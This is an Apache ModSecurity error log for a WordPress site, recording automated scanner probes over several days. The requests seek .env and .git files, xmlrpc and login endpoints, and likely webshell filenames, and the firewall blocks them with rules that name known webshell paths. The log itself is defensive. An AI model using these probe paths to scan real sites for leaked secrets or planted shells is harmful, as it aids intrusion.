[Fri May 01 05:07:34.738344 2026] [:error] [pid 6045:tid 6063] [client 104.28.214.115:58132] [client 104.28.214.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/style.php"] [unique_id "afPElj4a1vLt_qHgXBSVpAAAAUg"]
[Fri May 01 06:58:24.396970 2026] [:error] [pid 6046:tid 6093] [client 212.87.216.185:37193] [client 212.87.216.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "afPekIyBrpmb1HMIbiTnmgAAAYk"]
[Fri May 01 06:58:26.270703 2026] [:error] [pid 38014:tid 38027] [client 212.87.216.185:32251] [client 212.87.216.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afPeklHplhcdzdndjk0OfgAAAAQ"]
[Fri May 01 21:36:06.862992 2026] [:error] [pid 24996:tid 25045] [client 34.42.162.34:58721] [client 34.42.162.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.162.34, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afSsRiDBq9mMfUWQQep29AAAAJA"]
[Fri May 01 21:36:06.867090 2026] [:error] [pid 24996:tid 25045] [client 34.42.162.34:58721] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 01 21:36:09.304310 2026] [:error] [pid 24996:tid 25036] [client 34.42.162.34:58721] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afSsSSDBq9mMfUWQQep3AwAAAIg"]
[Fri May 01 21:36:09.738992 2026] [:error] [pid 25320:tid 25328] [client 34.42.162.34:65115] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afSsSVc3wJ-3-XaXB3oUqwAAAQU"]
[Fri May 01 21:36:10.212032 2026] [:error] [pid 24995:tid 25009] [client 34.42.162.34:56242] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afSsSudJG9WB_Q_ne0u6xQAAAEo"]
[Fri May 01 21:36:10.659824 2026] [:error] [pid 24997:tid 25074] [client 34.42.162.34:54689] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afSsSvOkHa4ScY5oo8zfKQAAANI"]
[Fri May 01 21:36:11.116967 2026] [:error] [pid 24995:tid 25001] [client 34.42.162.34:63018] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afSsS-dJG9WB_Q_ne0u6xgAAAEI"]
[Fri May 01 21:36:11.548147 2026] [:error] [pid 25085:tid 25103] [client 34.42.162.34:49620] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afSsS_uD8fWRiE0RX0EQQAAAAUw"]
[Fri May 01 21:36:11.987562 2026] [:error] [pid 24996:tid 25053] [client 34.42.162.34:65417] [client 34.42.162.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afSsSyDBq9mMfUWQQep3CAAAAJU"]
[Sat May 02 02:20:41.424670 2026] [:error] [pid 24996:tid 25045] [client 187.121.110.76:63570] [client 187.121.110.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.121.110.76, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afTu-SDBq9mMfUWQQeqndQAAAJA"]
[Sat May 02 02:20:41.429137 2026] [:error] [pid 24996:tid 25045] [client 187.121.110.76:63570] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 02 06:11:28.210738 2026] [:error] [pid 22846:tid 22866] [client 117.205.106.57:42308] [client 117.205.106.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 117.205.106.57, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "afUlD4m1Ms03Mfhp3aalXwAAARI"], referer: https://windfarmcoolants.com.au/wp-login.php
[Sat May 02 06:11:28.215672 2026] [:error] [pid 22846:tid 22866] [client 117.205.106.57:42308] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Sat May 02 14:47:54.849344 2026] [:error] [pid 53436:tid 53499] [client 209.50.187.183:17561] [client 209.50.187.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "afWeGq9N0xp8fccVM0CzDgAAAIA"]
[Sat May 02 23:57:24.962788 2026] [:error] [pid 52012:tid 52085] [client 201.33.81.0:21811] [client 201.33.81.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.33.81.0, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afYe5EzSWr-8cpS83mjxQQAAA0g"]
[Sat May 02 23:57:24.967949 2026] [:error] [pid 52012:tid 52085] [client 201.33.81.0:21811] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun May 03 23:20:57.994898 2026] [:error] [pid 40456:tid 40468] [client 49.47.129.107:50335] [client 49.47.129.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.129.107, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afdn2TSujTvwdzEkjSdk_AAAAYo"]
[Sun May 03 23:20:58.000608 2026] [:error] [pid 40456:tid 40468] [client 49.47.129.107:50335] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun May 03 23:35:58.216286 2026] [:error] [pid 37246:tid 37257] [client 43.228.157.67:35598] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/index"] [unique_id "afdrXjhvYFGNwhnPampCdgAAAQk"]
[Sun May 03 23:35:58.493073 2026] [:error] [pid 37126:tid 37156] [client 43.228.157.67:35644] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/refs/heads/main"] [unique_id "afdrXvR_A42N-LtDyrtYngAAAAM"]
[Sun May 03 23:35:58.755674 2026] [:error] [pid 40422:tid 40430] [client 43.228.157.67:35626] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "afdrXkHBbBLrXh6PButbYQAAAUQ"]
[Sun May 03 23:35:58.755850 2026] [:error] [pid 37246:tid 37262] [client 43.228.157.67:35642] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/refs/heads/master"] [unique_id "afdrXjhvYFGNwhnPampCeAAAAQw"]
[Sun May 03 23:35:58.756478 2026] [:error] [pid 37126:tid 37153] [client 43.228.157.67:35614] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "afdrXvR_A42N-LtDyrtYnwAAAAI"]
[Sun May 03 23:35:58.756569 2026] [:error] [pid 37130:tid 37234] [client 43.228.157.67:35632] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/logs/HEAD"] [unique_id "afdrXqIu7bmXKXicRk-YEAAAAJU"]
[Mon May 04 01:25:58.183147 2026] [:error] [pid 54535:tid 54543] [client 34.6.134.138:52270] [client 34.6.134.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "afeFJvRyz79iR-ntJRIhzQAAAgY"]
[Mon May 04 04:46:55.217595 2026] [:error] [pid 57047:tid 57100] [client 114.119.166.88:29001] [client 114.119.166.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/benefit_image_id.png"] [unique_id "afe0P1tCAxKLCAMkLV2OLAAAAEo"], referer: https://windfarmcoolants.com.au/home/benefit_image_id
[Mon May 04 05:10:03.932289 2026] [:error] [pid 57154:tid 57161] [client 91.217.249.209:30325] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Mon May 04 09:13:55.537815 2026] [:error] [pid 11959:tid 12001] [client 20.48.152.116:18095] File does not exist: /usr/local/apache/htdocs/suspended-page/class-t.api.php
[Mon May 04 09:13:55.743863 2026] [:error] [pid 11959:tid 12003] [client 20.48.152.116:18095] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "affy0wojk2nvxs7h5KvWIwAAAM8"]
[Mon May 04 09:13:56.611774 2026] [:error] [pid 11959:tid 11996] [client 20.48.152.116:61041] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "affy1Aojk2nvxs7h5KvWKQAAAMg"]
[Mon May 04 09:13:57.458122 2026] [:error] [pid 11958:tid 11980] [client 20.48.152.116:17578] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "affy1TAK_o2NLEdfAUk0OgAAAFM"]
[Mon May 04 09:13:58.347186 2026] [:error] [pid 33186:tid 33208] [client 20.48.152.116:53438] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "affy1rqlqe0DcmBS9VzULQAAABM"]
[Mon May 04 10:18:47.657042 2026] [:error] [pid 12022:tid 12033] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon May 04 10:18:47.888251 2026] [:error] [pid 12022:tid 12038] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Mon May 04 10:18:48.408970 2026] [:error] [pid 12022:tid 12035] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Mon May 04 10:18:48.620732 2026] [:error] [pid 12022:tid 12030] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon May 04 10:18:49.120118 2026] [:error] [pid 12022:tid 12048] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Mon May 04 10:18:49.336732 2026] [:error] [pid 12022:tid 12027] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Mon May 04 10:18:49.549590 2026] [:error] [pid 12022:tid 12039] [client 20.104.98.52:36833] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Mon May 04 10:18:50.105217 2026] [:error] [pid 12022:tid 12026] [client 20.104.98.52:36833] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afgCCkVhgvCNKBWnaTJL9QAAAII"]
[Mon May 04 10:36:54.138807 2026] [:error] [pid 11959:tid 12010] [client 85.137.48.160:38958] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Mon May 04 15:45:07.376445 2026] [:error] [pid 3341:tid 3348] [client 136.107.232.91:51191] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afhOg09o3_LordU0wW7qhwAAAIQ"]
[Mon May 04 15:45:07.807307 2026] [:error] [pid 61044:tid 61126] [client 136.107.232.91:53471] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afhOg0w8w2zZZXI6H1tmMQAAABg"]
[Mon May 04 15:45:08.237854 2026] [:error] [pid 61044:tid 61105] [client 136.107.232.91:56501] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOhEw8w2zZZXI6H1tmVgAAAAM"]
[Mon May 04 17:10:52.359466 2026] [:error] [pid 3341:tid 3353] [client 209.87.169.209:27151] [client 209.87.169.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afhinE9o3_LordU0wW4EVwAAAIk"]
[Mon May 04 20:24:08.431734 2026] [:error] [pid 61043:tid 61092] [client 34.24.211.32:53335] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afiP6J8-LwtfURjiAbC9PQAAAFE"]
[Mon May 04 20:24:08.916677 2026] [:error] [pid 3341:tid 3348] [client 34.24.211.32:55632] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afiP6E9o3_LordU0wW5SngAAAIQ"]
[Mon May 04 20:24:09.408189 2026] [:error] [pid 3341:tid 3357] [client 34.24.211.32:60481] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afiP6U9o3_LordU0wW5SyAAAAI0"]
[Mon May 04 23:07:16.801999 2026] [:error] [pid 3341:tid 3355] [client 34.74.139.90:35226] [client 34.74.139.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "afi2JE9o3_LordU0wW6NGAAAAIs"]
[Tue May 05 02:09:14.775249 2026] [:error] [pid 61150:tid 61171] [client 95.215.32.14:59528] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Tue May 05 02:43:08.746454 2026] [:error] [pid 61043:tid 61076] [client 209.87.169.68:36427] [client 209.87.169.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afjovJ8-LwtfURjiAbAOugAAAEE"]
[Tue May 05 07:53:49.152049 2026] [:error] [pid 39073:tid 39136] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Tue May 05 07:53:49.442081 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Tue May 05 07:53:49.724998 2026] [:error] [pid 39073:tid 39138] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Tue May 05 07:53:50.003660 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Tue May 05 07:53:50.277864 2026] [:error] [pid 39073:tid 39152] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Tue May 05 07:53:50.567517 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Tue May 05 07:53:50.841690 2026] [:error] [pid 39073:tid 39154] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue May 05 07:53:51.122367 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Tue May 05 07:53:51.696447 2026] [:error] [pid 39073:tid 39135] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Tue May 05 07:53:52.001495 2026] [:error] [pid 39073:tid 39154] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Tue May 05 07:53:52.310935 2026] [:error] [pid 39073:tid 39155] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue May 05 07:53:52.582709 2026] [:error] [pid 39073:tid 39135] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Tue May 05 07:53:52.860056 2026] [:error] [pid 39073:tid 39144] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Tue May 05 07:53:53.134168 2026] [:error] [pid 39073:tid 39153] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Tue May 05 07:53:53.419075 2026] [:error] [pid 39073:tid 39139] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Tue May 05 07:53:53.696931 2026] [:error] [pid 39073:tid 39150] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Tue May 05 07:53:53.989089 2026] [:error] [pid 39073:tid 39146] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Tue May 05 07:53:54.272763 2026] [:error] [pid 39073:tid 39140] [client 45.86.200.103:33913] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Tue May 05 07:53:58.212375 2026] [:error] [pid 39073:tid 39140] [client 45.86.200.103:33913] [client 45.86.200.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "afkxlv0kT1BNjk46BkefwgAAAIY"]
[Tue May 05 07:53:59.630436 2026] [:error] [pid 53856:tid 53880] [client 45.86.200.53:36739] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "afkxl3G_NPOxSH0O9aRj9QAAAU8"]
[Tue May 05 07:54:01.073993 2026] [:error] [pid 41055:tid 41073] [client 185.82.72.3:57809] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Tue May 05 07:54:01.908037 2026] [:error] [pid 41055:tid 41060] [client 185.82.72.3:57809] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "afkxmSepFwKgA_SKOHhJ-gAAAQI"]
[Tue May 05 07:54:06.121253 2026] [:error] [pid 53856:tid 53879] [client 45.86.200.109:46277] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Tue May 05 07:54:06.400583 2026] [:error] [pid 53856:tid 53878] [client 45.86.200.109:46277] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "afkxnnG_NPOxSH0O9aRlKwAAAU0"]
[Tue May 05 07:54:07.213508 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.88:42945] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
